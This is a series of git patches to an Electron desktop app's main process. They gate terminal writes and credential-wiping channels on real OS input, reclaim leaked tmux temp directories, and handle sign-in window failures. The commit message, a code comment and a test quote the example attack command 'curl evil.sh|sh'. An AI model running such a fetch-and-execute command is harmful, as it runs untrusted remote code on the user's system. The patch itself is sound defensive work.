From a99223d141510ed224d1f62dfa2b6d9354b93043 Mon Sep 17 00:00:00 2001 From: Waleed Latif Date: Wed, 29 Jul 2026 13:44:21 -0700 Subject: [PATCH 01/16] fix(desktop): gate terminal writes and user activation on real OS input MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The `needsUserActivation` gate asked the renderer about `navigator.userActivation` via `frame.executeJavaScript`, which evaluates in the page's main world — the same world as the compromised page the gate exists to stop, which need only redefine `navigator.userActivation` to pass it. The channels with no native confirmation behind them (`browser-credentials:forget`, `forget-all`, `browser-agent:clear-browsing-data`) had that as their only protection, so a background script could wipe the saved-password vault. `terminal:write` had no second gate at all. It is a `send` channel, and the send branch ran only the origin and feature checks, so an XSS'd or hostile app origin reached arbitrary command execution: `terminal:start` for an id, then `write(id, 'curl evil.sh|sh\r')` — a raw PTY write submits on the trailing `\r`. The tool-authorization binding covers `terminal:execute-tool` only. Both now answer from the main process's own record of OS input. Chromium delivers every input event to main before the renderer sees it and page script cannot synthesize one, so unlike panel focus (`terminal:focused`, a renderer-asserted claim the same attacker can set) it is a real boundary. Passive pointer traffic is excluded — `mouseMove`/`mouseEnter`/`pointerMove` arrive whenever the cursor rests over the window. --- apps/desktop/src/main/input-activity.test.ts | 112 +++++++++++++++++++ apps/desktop/src/main/input-activity.ts | 108 ++++++++++++++++++ apps/desktop/src/main/ipc.test.ts | 89 ++++++++++----- apps/desktop/src/main/ipc.ts | 47 +++++--- apps/desktop/src/main/security-guards.ts | 2 + 5 files changed, 320 insertions(+), 38 deletions(-) create mode 100644 apps/desktop/src/main/input-activity.test.ts create mode 100644 apps/desktop/src/main/input-activity.ts diff --git a/apps/desktop/src/main/input-activity.test.ts b/apps/desktop/src/main/input-activity.test.ts new file mode 100644 index 00000000000..41b6b266d69 --- /dev/null +++ b/apps/desktop/src/main/input-activity.test.ts @@ -0,0 +1,112 @@ +/** + * @vitest-environment node + */ +import type { WebContents } from 'electron' +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' +import { + hasRecentDeliberateInput, + hasRecentDiscreteInput, + trackInputActivity, +} from '@/main/input-activity' + +type InputListener = (event: unknown, input: { type: string }) => void + +function fakeContents(destroyed = false) { + const listeners: InputListener[] = [] + const contents = { + isDestroyed: () => destroyed, + on: (channel: string, listener: InputListener) => { + if (channel === 'input-event') listeners.push(listener) + }, + } + trackInputActivity(contents as unknown as WebContents) + return { + contents: contents as unknown as WebContents, + send: (type: string) => { + for (const listener of listeners) listener({}, { type }) + }, + } +} + +describe('input activity', () => { + beforeEach(() => { + vi.useFakeTimers() + }) + + afterEach(() => { + vi.useRealTimers() + }) + + it('reports no input for a renderer that has never been touched', () => { + const { contents } = fakeContents() + + expect(hasRecentDeliberateInput(contents)).toBe(false) + expect(hasRecentDiscreteInput(contents)).toBe(false) + }) + + it('counts a keypress as both deliberate and discrete input', () => { + const { contents, send } = fakeContents() + + send('keyDown') + + expect(hasRecentDeliberateInput(contents)).toBe(true) + expect(hasRecentDiscreteInput(contents)).toBe(true) + }) + + it('ignores the passive pointer stream a page gets for free', () => { + const { contents, send } = fakeContents() + + for (const type of ['mouseMove', 'mouseEnter', 'mouseLeave', 'pointerMove']) send(type) + + expect(hasRecentDeliberateInput(contents)).toBe(false) + expect(hasRecentDiscreteInput(contents)).toBe(false) + }) + + it('treats a wheel as deliberate but not as a discrete act', () => { + const { contents, send } = fakeContents() + + send('mouseWheel') + + expect(hasRecentDeliberateInput(contents)).toBe(true) + expect(hasRecentDiscreteInput(contents)).toBe(false) + }) + + it('expires deliberate input after its window', () => { + const { contents, send } = fakeContents() + + send('keyDown') + vi.advanceTimersByTime(3_000) + + expect(hasRecentDeliberateInput(contents)).toBe(false) + }) + + it('expires a discrete act after its longer window', () => { + const { contents, send } = fakeContents() + + send('mouseDown') + vi.advanceTimersByTime(4_000) + expect(hasRecentDiscreteInput(contents)).toBe(true) + + vi.advanceTimersByTime(1_000) + expect(hasRecentDiscreteInput(contents)).toBe(false) + }) + + it('never reports input for a destroyed renderer', () => { + const { contents, send } = fakeContents(true) + + send('keyDown') + + expect(hasRecentDeliberateInput(contents)).toBe(false) + expect(hasRecentDiscreteInput(contents)).toBe(false) + }) + + it('keeps activity separate per renderer', () => { + const first = fakeContents() + const second = fakeContents() + + first.send('keyDown') + + expect(hasRecentDeliberateInput(first.contents)).toBe(true) + expect(hasRecentDeliberateInput(second.contents)).toBe(false) + }) +}) diff --git a/apps/desktop/src/main/input-activity.ts b/apps/desktop/src/main/input-activity.ts new file mode 100644 index 00000000000..6d3d947ae14 --- /dev/null +++ b/apps/desktop/src/main/input-activity.ts @@ -0,0 +1,108 @@ +import type { InputEvent, WebContents } from 'electron' + +/** + * Input Chromium delivers only because the user did something deliberate. + * + * `mouseMove`, `mouseEnter`, `mouseLeave`, `pointerMove` and `pointerRawUpdate` + * are excluded on purpose: they arrive continuously while the cursor merely + * rests over the window, so counting them as intent would hand every page a + * permanently-satisfied gate. + */ +const DELIBERATE_INPUT_TYPES: ReadonlySet = new Set([ + 'keyDown', + 'rawKeyDown', + 'keyUp', + 'char', + 'mouseDown', + 'mouseUp', + 'mouseWheel', + 'touchStart', + 'touchEnd', + 'gestureTap', +]) + +/** + * The subset that is one discrete act — a keypress or a click. Wheel and + * key-up are dropped here: an irreversible operation should follow something + * the user can point at having done, not an inertial scroll. + */ +const DISCRETE_INPUT_TYPES: ReadonlySet = new Set([ + 'keyDown', + 'rawKeyDown', + 'char', + 'mouseDown', + 'mouseUp', + 'touchEnd', + 'gestureTap', +]) + +/** + * Typing and scrolling produce input continuously, so a keystroke-driven + * terminal write always lands well inside this. + */ +const DELIBERATE_INPUT_WINDOW_MS = 3_000 + +/** + * Matches the lifetime of Chromium's transient user activation, which is what + * the renderer-reported check this replaces was approximating. + */ +const DISCRETE_INPUT_WINDOW_MS = 5_000 + +interface InputActivity { + lastDeliberateAt: number + lastDiscreteAt: number +} + +const activityByContents = new WeakMap() + +/** + * Records real OS input for `contents`. + * + * Chromium hands the main process every input event before the renderer sees + * it, and page script cannot synthesize one — which is the whole point. The + * gate this feeds used to ask the renderer about `navigator.userActivation`, a + * value evaluated in the page's own world that a compromised page redefines in + * one line. Anything derived from renderer-reported state is not a boundary; + * this is, because the signal never passes through the renderer at all. + */ +export function trackInputActivity(contents: WebContents): void { + contents.on('input-event', (_event, input) => { + if (!DELIBERATE_INPUT_TYPES.has(input.type)) return + const now = Date.now() + const discrete = DISCRETE_INPUT_TYPES.has(input.type) + const activity = activityByContents.get(contents) + if (!activity) { + activityByContents.set(contents, { + lastDeliberateAt: now, + lastDiscreteAt: discrete ? now : 0, + }) + return + } + activity.lastDeliberateAt = now + if (discrete) activity.lastDiscreteAt = now + }) +} + +/** + * Whether the user has recently driven this renderer with real input — + * keystrokes, clicks or wheel. Gates the interactive terminal write path, + * where the legitimate caller is a person typing into xterm.js. + */ +export function hasRecentDeliberateInput(contents: WebContents): boolean { + if (contents.isDestroyed()) return false + const activity = activityByContents.get(contents) + if (!activity) return false + return Date.now() - activity.lastDeliberateAt < DELIBERATE_INPUT_WINDOW_MS +} + +/** + * Whether the user recently performed one discrete act in this renderer. + * Gates the operations with no native confirmation behind them, where the + * requirement is an actual click or keypress rather than mere activity. + */ +export function hasRecentDiscreteInput(contents: WebContents): boolean { + if (contents.isDestroyed()) return false + const activity = activityByContents.get(contents) + if (!activity) return false + return Date.now() - activity.lastDiscreteAt < DISCRETE_INPUT_WINDOW_MS +} diff --git a/apps/desktop/src/main/ipc.test.ts b/apps/desktop/src/main/ipc.test.ts index 26b4ee032c8..275d9865d59 100644 --- a/apps/desktop/src/main/ipc.test.ts +++ b/apps/desktop/src/main/ipc.test.ts @@ -58,6 +58,7 @@ vi.mock('@/main/browser-agent/registry', () => ({ ), })) +import type { WebContents } from 'electron' import { ipcMain, shell } from 'electron' import { copyCredential, @@ -72,20 +73,27 @@ import { importChromePasswords, listChromeImportProfiles, } from '@/main/browser-import' +import { trackInputActivity } from '@/main/input-activity' import { type IpcDeps, registerIpcHandlers } from '@/main/ipc' import { LocalFilesystemService } from '@/main/local-filesystem' import { TerminalService } from '@/main/terminal' const APP = 'https://sim.ai' +type InputListener = (event: unknown, input: { type: string }) => void + +interface FakeSender { + session?: { fetch: (url: string, init?: RequestInit) => Promise } + /** Marks a sender the mocked registry recognises as a browser tab. */ + isBrowserTab?: boolean + isDestroyed?: () => boolean + on?: (channel: string, listener: InputListener) => void +} + type Handler = ( event: { senderFrame: { url: string; executeJavaScript?: (source: string) => Promise } | null - sender?: { - session?: { fetch: (url: string, init?: RequestInit) => Promise } - /** Marks a sender the mocked registry recognises as a browser tab. */ - isBrowserTab?: boolean - } + sender?: FakeSender }, ...args: unknown[] ) => unknown @@ -102,48 +110,68 @@ function collectHandlers() { return { invoke, on } } -const rejectedSender = () => ({ - session: { - fetch: vi.fn(async () => { - throw new Error('not authorized') - }), - }, -}) +/** + * A sender registered with the main-process input tracker, so a test can grant + * it a real gesture with `press`. User activation is no longer read out of the + * renderer, so a fixture cannot fake it by stubbing `executeJavaScript`. + */ +function trackedSender() { + const listeners: InputListener[] = [] + const sender = { + session: { + fetch: vi.fn(async () => { + throw new Error('not authorized') + }), + }, + isDestroyed: () => false, + on: (channel: string, listener: InputListener) => { + if (channel === 'input-event') listeners.push(listener) + }, + } + trackInputActivity(sender as unknown as WebContents) + return { + sender, + /** Delivers one real click, satisfying both input-recency gates. */ + press: () => { + for (const listener of listeners) listener({}, { type: 'mouseDown' }) + }, + } +} + +const rejectedSender = () => trackedSender().sender const fileSender = rejectedSender() const appSender = rejectedSender() const evilSender = rejectedSender() +const activeSender = trackedSender() +const activeChooserSender = trackedSender() const fileEvent = { senderFrame: { url: 'file:///app/static/offline.html' }, sender: fileSender, } const appEvent = { senderFrame: { url: `${APP}/workspace/ws1` }, sender: appSender } const activeAppEvent = { - senderFrame: { - url: `${APP}/workspace/ws1`, - executeJavaScript: vi.fn(async () => true), - }, + senderFrame: { url: `${APP}/workspace/ws1` }, + sender: activeSender.sender, } +/** Same origin, but the main process has never seen this renderer get input. */ const inactiveAppEvent = { - senderFrame: { - url: `${APP}/workspace/ws1`, - executeJavaScript: vi.fn(async () => false), - }, + senderFrame: { url: `${APP}/workspace/ws1` }, + sender: rejectedSender(), } const evilEvent = { senderFrame: { url: 'https://evil.example/page' }, sender: evilSender } /** The chooser anchors a native menu, so it needs a sender with a window. */ const FAKE_WINDOW = { id: 'main-window' } const activeChooserEvent = { - senderFrame: { - url: `${APP}/workspace/ws1`, - executeJavaScript: vi.fn(async () => true), - }, - sender: appSender, + senderFrame: { url: `${APP}/workspace/ws1` }, + sender: activeChooserSender.sender, } describe('registerIpcHandlers', () => { let deps: IpcDeps beforeEach(() => { + activeSender.press() + activeChooserSender.press() vi.mocked(ipcMain.handle).mockClear() vi.mocked(ipcMain.on).mockClear() vi.mocked(shell.openExternal).mockClear() @@ -780,6 +808,17 @@ describe('registerIpcHandlers', () => { expect(forgetCredential).toHaveBeenCalledWith('c1') }) + it('accepts a terminal write only after the main process has seen real input', () => { + const { on } = collectHandlers() + const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {}) + + on.get('terminal:write')?.(inactiveAppEvent, 't1', 'curl evil.sh|sh\r') + expect(write).not.toHaveBeenCalled() + + on.get('terminal:write')?.(activeAppEvent, 't1', 'ls\r') + expect(write).toHaveBeenCalledWith('t1', 'ls\r') + }) + it('defaults password conflicts to keeping what is already stored', async () => { const { invoke } = collectHandlers() diff --git a/apps/desktop/src/main/ipc.ts b/apps/desktop/src/main/ipc.ts index a3532b5f3e4..37d79c344b7 100644 --- a/apps/desktop/src/main/ipc.ts +++ b/apps/desktop/src/main/ipc.ts @@ -52,6 +52,7 @@ import { listSites } from '@/main/browser-sites' import { isSafeInternalPath } from '@/main/config' import type { DesktopSettingsService } from '@/main/desktop-settings' import { isDesktopPreferenceKey } from '@/main/desktop-settings' +import { hasRecentDeliberateInput, hasRecentDiscreteInput } from '@/main/input-activity' import type { LocalFilesystemService } from '@/main/local-filesystem' import { isAppOrigin, openExternalSafe } from '@/main/navigation' import type { TerminalService } from '@/main/terminal' @@ -267,6 +268,12 @@ type ChannelSpec = }) | (ChannelSpecBase & { kind: 'send' + /** + * Requires the user to have recently driven this renderer with real OS + * input. For channels whose legitimate caller is a person operating a + * widget, where a background script must not be able to call at will. + */ + needsDeliberateInput?: boolean handler: (...args: unknown[]) => void }) @@ -307,14 +314,18 @@ function localFilesystemRequestNeedsToolAuthorization(request: unknown): boolean ) } -async function rendererHasActiveUserGesture(event: IpcMainInvokeEvent): Promise { - const frame = event.senderFrame - if (!frame || typeof frame.executeJavaScript !== 'function') return false - try { - return (await frame.executeJavaScript('navigator.userActivation?.isActive === true')) === true - } catch { - return false - } +/** + * Whether the caller has a real user gesture behind it. + * + * Answered from the main process's own record of OS input, never by asking the + * renderer. The previous implementation ran + * `navigator.userActivation?.isActive === true` through + * `frame.executeJavaScript`, which evaluates in the page's main world — the + * same world as the compromised page this gate exists to stop, which need only + * redefine `navigator.userActivation` to make the check always pass. + */ +function senderHasUserGesture(event: IpcMainEvent | IpcMainInvokeEvent): boolean { + return hasRecentDiscreteInput(event.sender) } interface DesktopToolAuthorization { @@ -918,6 +929,16 @@ export function registerIpcHandlers(deps: IpcDeps): void { kind: 'send', gate: 'app-origin', requires: 'terminal', + // A raw PTY write submits a command line on the trailing `\r`, so this is + // the one channel where the app origin alone is not enough: an XSS'd or + // hostile origin would otherwise reach arbitrary command execution with + // `write(id, 'curl evil.sh|sh\r')`. `terminal:execute-tool` is bound to a + // server-authorized Copilot tool call; this is the interactive path, whose + // only legitimate caller is a person typing into xterm.js — so it is gated + // on the main process having seen that person's keystrokes. Panel focus is + // deliberately not used: `terminal:focused` is a renderer-asserted claim + // the same attacker can set. + needsDeliberateInput: true, handler: (terminalId, data) => { if (typeof terminalId === 'string' && typeof data === 'string') { deps.terminal.write(terminalId, data) @@ -972,7 +993,7 @@ export function registerIpcHandlers(deps: IpcDeps): void { if (spec.kind === 'invoke') { ipcMain.handle(channel, async (event, ...args) => { if (!senderAllowed(event, spec.gate) || !featureAllowed(spec.requires)) return spec.denied - if (spec.needsUserActivation && !(await rendererHasActiveUserGesture(event))) { + if (spec.needsUserActivation && !senderHasUserGesture(event)) { return spec.denied } let handlerArgs = args @@ -1013,7 +1034,7 @@ export function registerIpcHandlers(deps: IpcDeps): void { if ( channel === 'desktop:local-filesystem' && localFilesystemRequestNeedsUserActivation(args[0]) && - !(await rendererHasActiveUserGesture(event)) + !senderHasUserGesture(event) ) { return { ok: false, @@ -1039,9 +1060,9 @@ export function registerIpcHandlers(deps: IpcDeps): void { }) } else { ipcMain.on(channel, (event, ...args) => { - if (senderAllowed(event, spec.gate) && featureAllowed(spec.requires)) { - spec.handler(...(spec.passSender ? [event.sender, ...args] : args)) - } + if (!senderAllowed(event, spec.gate) || !featureAllowed(spec.requires)) return + if (spec.needsDeliberateInput && !hasRecentDeliberateInput(event.sender)) return + spec.handler(...(spec.passSender ? [event.sender, ...args] : args)) }) } } diff --git a/apps/desktop/src/main/security-guards.ts b/apps/desktop/src/main/security-guards.ts index ac6e8b2882b..41499742e65 100644 --- a/apps/desktop/src/main/security-guards.ts +++ b/apps/desktop/src/main/security-guards.ts @@ -2,6 +2,7 @@ import { createLogger } from '@sim/logger' import type { WebContents } from 'electron' import { app } from 'electron' import { isAgentWebContents } from '@/main/browser-agent/registry' +import { trackInputActivity } from '@/main/input-activity' import { classifyNavigation, openExternalSafe } from '@/main/navigation' import { scrubUrl } from '@/main/observability' @@ -85,6 +86,7 @@ export function installGlobalGuards(deps: GuardDeps): void { }) } contents.setWindowOpenHandler(() => ({ action: 'deny' })) + trackInputActivity(contents) attachNavigationGuards(contents, deps) }) From b0fe9d4b99b5f3b0e4d45d6d132f8ad5d7e35a21 Mon Sep 17 00:00:00 2001 From: Waleed Latif Date: Wed, 29 Jul 2026 13:50:00 -0700 Subject: [PATCH 02/16] fix(desktop): reclaim tmux run temp directories that outlive their wait window MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `startRun` makes a temp directory per run holding the tee target and the status file, and only its handle can remove it. `runInTmux` disposed the handle on the `outcome.done` branch only — on the still-running path the handle was a local that went out of scope, and nothing polls that run again (`read` captures the pane instead). With a 30s default wait, every longer command leaked its `/tmp/sim-tmux-run-*` directory for the life of the process while `tee` kept appending the full output to it. Handles for still-running commands are now held per terminal and reclaimed by the terminal's own lifecycle: `retire`/`dispose` release them all, and a new run on the same terminal first reaps any whose status file has since appeared. No reaper timer — the new-run path is already doing run bookkeeping. Live runs are left alone, since their tee is still writing there. Not a security issue: the directories are 0700 in the per-user tmpdir and tmux reaps the window itself. It is unbounded disk and inode growth. --- apps/desktop/src/main/terminal/index.ts | 50 +++++++ .../src/main/terminal/pending-runs.test.ts | 132 ++++++++++++++++++ apps/desktop/src/main/terminal/tmux.ts | 2 +- 3 files changed, 183 insertions(+), 1 deletion(-) create mode 100644 apps/desktop/src/main/terminal/pending-runs.test.ts diff --git a/apps/desktop/src/main/terminal/index.ts b/apps/desktop/src/main/terminal/index.ts index 70adf203b66..fa2919aef17 100644 --- a/apps/desktop/src/main/terminal/index.ts +++ b/apps/desktop/src/main/terminal/index.ts @@ -40,6 +40,7 @@ import { awaitRun, capturePane, closeRunWindow, + isRunComplete, isTmuxUnavailable, killPane, listPanes, @@ -49,6 +50,7 @@ import { startRun, TMUX_KEY_NAMES, type TmuxAttachment, + type TmuxRunHandle, } from '@/main/terminal/tmux' const logger = createLogger('DesktopTerminal') @@ -176,6 +178,14 @@ export class TerminalService { private readonly handoffs = new Map() /** Recently resolved tmux attachments, by terminal id, to avoid re-spawning. */ private readonly tmuxCache = new Map() + /** + * Run handles for commands that outlived their wait window, keyed by + * terminal. `startRun` makes a temp directory per run and only its handle can + * remove it, so a handle dropped on the still-running path leaks that + * directory for the life of the process while `tee` keeps appending to it. + * Held here so the terminal's own lifecycle can reclaim them. + */ + private readonly pendingRuns = new Map() constructor(private readonly options: TerminalServiceOptions = {}) {} @@ -294,6 +304,37 @@ export class TerminalService { return this.retire(terminalId) } + /** + * Removes the temp directories of tracked runs that have since finished. + * + * Called when a new run starts on the same terminal, which is the one moment + * the service is already doing run bookkeeping — a dedicated reaper timer + * would be a subsystem to own for something this cheap. A run still going is + * left alone: its `tee` is still appending to that directory. + */ + private reapFinishedRuns(terminalId: string): void { + const pending = this.pendingRuns.get(terminalId) + if (!pending) return + const stillRunning = pending.filter((handle) => { + if (!isRunComplete(handle)) return true + handle.dispose() + return false + }) + if (stillRunning.length === 0) this.pendingRuns.delete(terminalId) + else this.pendingRuns.set(terminalId, stillRunning) + } + + /** + * Releases every tracked run for a terminal, finished or not. The terminal is + * going away, so nothing will ever read these files again. + */ + private releasePendingRuns(terminalId: string): void { + const pending = this.pendingRuns.get(terminalId) + if (!pending) return + for (const handle of pending) handle.dispose() + this.pendingRuns.delete(terminalId) + } + /** * Drops a terminal and decides what replaces it. Closing and exiting share * this so the two cannot drift into different answers for "what happens to @@ -310,6 +351,7 @@ export class TerminalService { session.dispose() this.sessions.delete(terminalId) this.tmuxCache.delete(terminalId) + this.releasePendingRuns(terminalId) if (this.sessions.size === 0) { this.spawn(this.resolveCwd(closedCwd), cols, rows) @@ -459,6 +501,7 @@ export class TerminalService { } this.sessions.clear() this.tmuxCache.clear() + for (const terminalId of [...this.pendingRuns.keys()]) this.releasePendingRuns(terminalId) this.activeId = null // A stale claim here is what let Cmd-W close a shell that no longer exists. this.setPanelFocused(false) @@ -784,6 +827,7 @@ export class TerminalService { if (!command) throw new TerminalError('INVALID_REQUEST', 'run needs a `command`.') const started = Date.now() + this.reapFinishedRuns(terminal.terminalId) const handle = await startRun(session, command, terminal.currentCwd, terminal.env) if ('error' in handle) throw new TerminalError('SPAWN_FAILED', handle.error) @@ -792,6 +836,12 @@ export class TerminalService { if (outcome.done) { await closeRunWindow(handle, terminal.env) handle.dispose() + } else { + // Still going, and nothing polls the status file again — `read` captures + // the pane instead. Without this the handle would go out of scope here. + const pending = this.pendingRuns.get(terminal.terminalId) + if (pending) pending.push(handle) + else this.pendingRuns.set(terminal.terminalId, [handle]) } const { text, truncated } = elideOutput(outcome.output) diff --git a/apps/desktop/src/main/terminal/pending-runs.test.ts b/apps/desktop/src/main/terminal/pending-runs.test.ts new file mode 100644 index 00000000000..8fc62eb6401 --- /dev/null +++ b/apps/desktop/src/main/terminal/pending-runs.test.ts @@ -0,0 +1,132 @@ +/** + * @vitest-environment node + */ +import { beforeEach, describe, expect, it, vi } from 'vitest' + +const { tmuxStub } = vi.hoisted(() => ({ + tmuxStub: { + /** Handles handed out by `startRun`, newest last, with their dispose spies. */ + handles: [] as Array<{ window: string; dispose: ReturnType }>, + /** Whether a run's status file is considered present yet. */ + complete: new Set(), + /** What `awaitRun` reports — the leak is on the `done: false` path. */ + done: false, + }, +})) + +vi.mock('@/main/terminal/tmux', () => ({ + TMUX_KEY_NAMES: {}, + activePane: vi.fn(async () => 'sess:0.0'), + awaitRun: vi.fn(async () => ({ + done: tmuxStub.done, + output: 'out', + exitCode: tmuxStub.done ? 0 : null, + })), + capturePane: vi.fn(async () => ({ ok: true, stdout: '', stderr: '' })), + closeRunWindow: vi.fn(async () => undefined), + isRunComplete: vi.fn((handle: { window: string }) => tmuxStub.complete.has(handle.window)), + isTmuxUnavailable: vi.fn(() => false), + killPane: vi.fn(async () => ({ ok: true, stdout: '', stderr: '' })), + listPanes: vi.fn(async () => []), + resolveAttachment: vi.fn(async () => ({ session: 'sess' })), + sendKey: vi.fn(async () => ({ ok: true, stdout: '', stderr: '' })), + sendText: vi.fn(async () => ({ ok: true, stdout: '', stderr: '' })), + startRun: vi.fn(async () => { + const handle = { + window: `sess:${tmuxStub.handles.length}`, + outPath: '/tmp/fake/out', + statusPath: '/tmp/fake/status', + dispose: vi.fn(), + } + tmuxStub.handles.push(handle) + return handle + }), +})) + +vi.mock('@/main/terminal/session', () => ({ + elide: (text: string) => ({ text, truncated: false }), + TerminalSession: { + create: ({ terminalId, cwd }: { terminalId: string; cwd: string }) => ({ + terminalId, + cols: 80, + rows: 24, + pid: 1234, + env: {}, + shell: 'zsh', + alive: true, + currentCwd: cwd, + foreground: null, + isBusy: false, + hasShellIntegration: true, + dispose: vi.fn(), + write: vi.fn(), + resize: vi.fn(), + setBusy: vi.fn(), + refreshCwd: async () => {}, + takeReplaySnapshot: () => '', + tabState: (active: boolean) => ({ + terminalId, + title: 'zsh', + cwd, + running: null, + interactive: false, + active, + }), + }), + }, +})) + +import { TerminalService } from '@/main/terminal' + +/** + * A run whose command outlives the wait window leaves a temp directory behind + * that only its handle can remove, and nothing polls that run again — `read` + * captures the tmux pane instead. These cover who eventually disposes it. + */ +describe('pending tmux runs', () => { + let service: TerminalService + + beforeEach(() => { + tmuxStub.handles.length = 0 + tmuxStub.complete.clear() + tmuxStub.done = false + service = new TerminalService({ loadCwd: () => '/tmp', saveCwd: () => {} }) + }) + + it('reclaims a still-running run when the terminal is closed', async () => { + await service.executeTool('call-1', 'run', { command: 'sleep 600' }) + + const [handle] = tmuxStub.handles + expect(handle.dispose).not.toHaveBeenCalled() + + service.dispose() + + expect(handle.dispose).toHaveBeenCalledTimes(1) + }) + + it('reaps a finished run when the next run starts, and leaves live ones alone', async () => { + await service.executeTool('call-1', 'run', { command: 'sleep 600' }) + const [first] = tmuxStub.handles + + await service.executeTool('call-2', 'run', { command: 'sleep 600' }) + expect(first.dispose).not.toHaveBeenCalled() + + tmuxStub.complete.add(first.window) + await service.executeTool('call-3', 'run', { command: 'sleep 600' }) + + expect(first.dispose).toHaveBeenCalledTimes(1) + expect(tmuxStub.handles[1].dispose).not.toHaveBeenCalled() + + service.dispose() + }) + + it('disposes a run inline when it finishes inside the wait window', async () => { + tmuxStub.done = true + await service.executeTool('call-1', 'run', { command: 'true' }) + + expect(tmuxStub.handles[0].dispose).toHaveBeenCalledTimes(1) + + service.dispose() + expect(tmuxStub.handles[0].dispose).toHaveBeenCalledTimes(1) + }) +}) diff --git a/apps/desktop/src/main/terminal/tmux.ts b/apps/desktop/src/main/terminal/tmux.ts index 2af584a6d0f..de4b570ce97 100644 --- a/apps/desktop/src/main/terminal/tmux.ts +++ b/apps/desktop/src/main/terminal/tmux.ts @@ -381,7 +381,7 @@ export function pollRun(handle: TmuxRunHandle): TmuxRunOutcome { * second, quadratic in output size. Liveness only needs the status file, which * is a few bytes; the output is read once, when the run is settled. */ -function isRunComplete(handle: TmuxRunHandle): boolean { +export function isRunComplete(handle: TmuxRunHandle): boolean { return readIfPresent(handle.statusPath) !== null } From b2cefe28b65a1107761a84aa83cd5074d1c6f32a Mon Sep 17 00:00:00 2001 From: Waleed Latif Date: Wed, 29 Jul 2026 13:57:26 -0700 Subject: [PATCH 03/16] fix(desktop): contain sign-in handoff failures when no window is available `handleCallback` awaited `deps.ensureMainWindow()` as its first statement with no try/catch, and index.ts dispatches it fire-and-forget as `void authFlow.handleCallback(callback)`. The wired `ensureMainWindow` throws `Main window unavailable`, and main registers no `unhandledRejection` handler, so a user who closed the window while signing in through their browser turned the loopback callback into an unhandled rejection. `beginLoginHandoff` had the same shape, so both are fixed rather than one. Both entry points now resolve the window through a helper that records the failure via the existing `handoff_redeem_fail` event and returns null, and the two `void` dispatch sites carry a `.catch()` backstop for anything the flows do not record themselves. Not attacker-triggerable: `onLogin` fires only after `matchesPending()` validates the state that only the user's own browser holds. --- apps/desktop/src/main/handoff.test.ts | 50 +++++++++++++++++++++++++++ apps/desktop/src/main/handoff.ts | 29 ++++++++++++++-- apps/desktop/src/main/index.ts | 15 ++++++-- 3 files changed, 90 insertions(+), 4 deletions(-) diff --git a/apps/desktop/src/main/handoff.test.ts b/apps/desktop/src/main/handoff.test.ts index 3682c8eeca0..f594bf2b562 100644 --- a/apps/desktop/src/main/handoff.test.ts +++ b/apps/desktop/src/main/handoff.test.ts @@ -4,8 +4,10 @@ import { beforeEach, describe, expect, it, vi } from 'vitest' vi.mock('electron', () => import('@/test/electron-mock')) import { + type AuthFlowDeps, buildRedeemScript, type ConnectHandoffCallback, + createAuthFlow, createHandoffManager, type HandoffCallback, type HandoffCallbacks, @@ -270,3 +272,51 @@ describe('connect handoff account pinning', () => { manager.clear() }) }) + +describe('createAuthFlow window failures', () => { + function makeAuthDeps(ensureMainWindow: () => Promise) { + const events = makeEvents() + return { + deps: { + handoff: { + begin: vi.fn(async () => true), + consume: vi.fn(() => true), + } as unknown as AuthFlowDeps['handoff'], + origin: () => 'https://sim.ai', + events, + ensureMainWindow, + } satisfies AuthFlowDeps, + events, + } + } + + it('records rather than rejects when no window can be opened for the callback', async () => { + const { deps, events } = makeAuthDeps(async () => { + throw new Error('Main window unavailable') + }) + const flow = createAuthFlow(deps) + + await expect( + flow.handleCallback({ state: VALID_STATE, token: VALID_TOKEN } as HandoffCallback) + ).resolves.toBeUndefined() + expect(events.record).toHaveBeenCalledWith('handoff_redeem_fail', { + reason: 'callback_window', + error: 'Main window unavailable', + }) + expect(deps.handoff.consume).not.toHaveBeenCalled() + }) + + it('records rather than rejects when no window can be opened to report a failed begin', async () => { + const { deps, events } = makeAuthDeps(async () => { + throw new Error('Main window unavailable') + }) + deps.handoff.begin = vi.fn(async () => false) + const flow = createAuthFlow(deps) + + await expect(flow.beginLoginHandoff()).resolves.toBeUndefined() + expect(events.record).toHaveBeenCalledWith('handoff_redeem_fail', { + reason: 'begin_window', + error: 'Main window unavailable', + }) + }) +}) diff --git a/apps/desktop/src/main/handoff.ts b/apps/desktop/src/main/handoff.ts index add823f9a99..5d1313ebc56 100644 --- a/apps/desktop/src/main/handoff.ts +++ b/apps/desktop/src/main/handoff.ts @@ -2,6 +2,7 @@ import type { Server } from 'node:http' import { createServer } from 'node:http' import { createLogger } from '@sim/logger' import { safeCompare } from '@sim/security/compare' +import { getErrorMessage } from '@sim/utils/errors' import { generateShortId } from '@sim/utils/id' import type { BrowserWindow } from 'electron' import { app, dialog } from 'electron' @@ -364,6 +365,28 @@ export interface AuthFlow { * back on /login. */ export function createAuthFlow(deps: AuthFlowDeps): AuthFlow { + /** + * The main window, or null when one cannot be obtained. + * + * Both entry points below are dispatched fire-and-forget from index.ts, and + * the wired `ensureMainWindow` throws when no window can be created or + * restored — which is reachable if the user closed the window while signing + * in through their browser. With no global `unhandledRejection` handler in + * main, letting that escape turned it into an unhandled rejection raised from + * the loopback callback. Recorded rather than swallowed: a sign-in that + * cannot present itself is exactly what the event log is for. + */ + const resolveWindow = async (reason: string): Promise => { + try { + return await deps.ensureMainWindow() + } catch (error) { + const message = getErrorMessage(error, 'Main window unavailable') + deps.events.record('handoff_redeem_fail', { reason, error: message }) + logger.error('No window available for the sign-in handoff', { reason, error: message }) + return null + } + } + const failInWindow = async (win: BrowserWindow, reason: string, status?: number) => { deps.events.record( 'handoff_redeem_fail', @@ -383,7 +406,8 @@ export function createAuthFlow(deps: AuthFlowDeps): AuthFlow { async beginLoginHandoff() { const opened = await deps.handoff.begin() if (!opened) { - const win = await deps.ensureMainWindow() + const win = await resolveWindow('begin_window') + if (!win) return void dialog.showMessageBox(win, { type: 'error', message: 'Couldn’t start sign-in', @@ -392,7 +416,8 @@ export function createAuthFlow(deps: AuthFlowDeps): AuthFlow { } }, async handleCallback(callback: HandoffCallback) { - const win = await deps.ensureMainWindow() + const win = await resolveWindow('callback_window') + if (!win) return if (!deps.handoff.consume(callback.state, 'login')) { await failInWindow(win, 'state') return diff --git a/apps/desktop/src/main/index.ts b/apps/desktop/src/main/index.ts index 1b22fd23771..631826d87cc 100644 